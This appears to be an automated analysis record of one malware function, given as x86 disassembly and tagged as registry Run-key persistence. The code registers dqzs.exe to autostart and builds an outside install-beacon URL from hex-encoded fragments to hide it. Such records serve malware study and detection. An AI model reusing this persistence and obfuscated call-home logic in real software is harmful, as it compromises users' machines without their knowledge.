Function at 0x4029a4
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
push 0xffffffffffffffff
push 0x12
push 0x1601001e
push 0x52010001
call fcn.00405a02
add esp, 0x10
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jne 0x402a90
push 0xffffffffffffffff
push 8
push 0x1601000b
push 0x52010001
call fcn.00405a02
add esp, 0x10
mov dword [ebp - 0x20], eax
push str.dqzs.exe_autostart
push dword [ebp - 0x20]
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402a42
push ebx
call fcn.004059ea
add esp, 4
push VariantInit
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x402a55
mov eax, 0x4882c1
push eax
push VariantInit
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRundqzs
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x406dc0
call fcn.004059f6
add esp, 0x28
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x402a90
push ebx
call fcn.004059ea
add esp, 4
push 0xffffffffffffffff
push 0x12
push 0x1601001f
push 0x52010001
call fcn.00405a02
add esp, 0x10
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jne 0x402e7d
push 0xffffffffffffffff
push 5
push 0x6010000
push 0x52010001
call fcn.00405a02
add esp, 0x10
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x402df4
push 0xffffffffffffffff
push 8
push 0x1601000b
push 0x52010001
call fcn.00405a02
add esp, 0x10
mov dword [ebp - 0x20], eax
push str.dqzs.exe_install
push dword [ebp - 0x20]
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402b17
push ebx
call fcn.004059ea
add esp, 4
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push VariantInit
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x402b3c
mov eax, 0x4882c1
push eax
push 3
mov ebx, 0x405ce0
call fcn.004059f6
add esp, 0x28
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x402b5f
push ebx
call fcn.004059ea
add esp, 4
mov eax, str._68_74_74
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402b75
push ebx
call fcn.004059ea
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov eax, str._70_3A_2F_2F
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402b8f
push ebx
call fcn.004059ea
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov eax, str._78_79_6A_2E_62_6A_68_65_6E_67_72_65_6E_2E_63
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402ba9
push ebx
call fcn.004059ea
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov eax, str._6F_6D_2F_61_6E_7A_68_75_61_6E_67_2E_61
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x402bc3
push ebx
call fcn.004059ea
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov eax, str._73_70_78_3F
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x402bdd
push ebx
call fcn.004059ea
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
lea eax, [ebp - 4]
push eax
call fcn.00402f3b
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
lea eax, [ebp - 8]
push eax
call fcn.00402f3b
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
lea eax, [ebp - 0xc]
push eax
call fcn.00402f3b
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
lea eax, [ebp - 0x10]
push eax
call fcn.00402f3b
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
lea eax, [ebp - 0x14]
push eax
call fcn.00402f3b
mov dword [ebp - 0x44], eax
push dword [ebp - 0x44]
push dword [ebp - 0x3c]
push dword [ebp - 0x34]
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 5
call fcn.0040110c
add esp, 0x14
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x402c88
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x402c98
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x402ca8
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x402cb8
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x402cc8
push ebx
call fcn.004059ea
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402cdc
push ebx
call fcn.004059ea
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
call fcn.004036da
mov dword [ebp - 0x24], eax
push VariantInit
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x402d07
mov eax, 0x4882c1
push eax
push 1
mov ebx, 0x406840
call fcn.004059f6
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x402d2d
push ebx
call fcn.004059ea
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [0x7c41b4]
test ebx, ebx
je 0x402d44
push ebx
call fcn.004059ea
add esp, 4
pop eax
mov dword [0x7c41b4], eax
push str._____sdadsada
push dword [0x7c41a8]
push str.r1261_
push dword [0x7c41b4]
push 0x7506b5
mov ecx, 5
call fcn.0040110c
add esp, 0x14
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402d89
push ebx
call fcn.004059ea
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.004049fe
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402dad
push ebx
call fcn.004059ea
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
call fcn.00404b07
mov ebx, eax
test ebx, ebx
je 0x402ddf
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402def
push ebx
call fcn.004059ea
add esp, 4
jmp 0x402e7d
push 0xffffffffffffffff
push 8
push 0x1601000b
push 0x52010001
call fcn.00405a02
add esp, 0x10
mov dword [ebp - 0x20], eax
push 0x48833f
push dword [ebp - 0x20]
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402e35
push ebx
call fcn.004059ea
add esp, 4
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push VariantInit
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x402e5a
mov eax, 0x4882c1
push eax
push 3
mov ebx, 0x405ce0
call fcn.004059f6
add esp, 0x28
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x402e7d
push ebx
call fcn.004059ea
add esp, 4
push 0
push 0
push 0xffffffffffffffff
push 5
push 0x6010000
push 0x52010001
call fcn.00405a1a
add esp, 0x18
push 0x80000301
push 0
push 0x4e20
push 1
mov eax, 3
mov ebx, 0x4584f0
call fcn.004059fc
add esp, 0x10
push 0
call fcn.00405a14
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402ed7
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402ee7
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402ef7
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x402f07
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x402f17
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402f27
push ebx
call fcn.004059ea
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402f37
push ebx
call fcn.004059ea
add esp, 4
mov esp, ebp
pop ebp
ret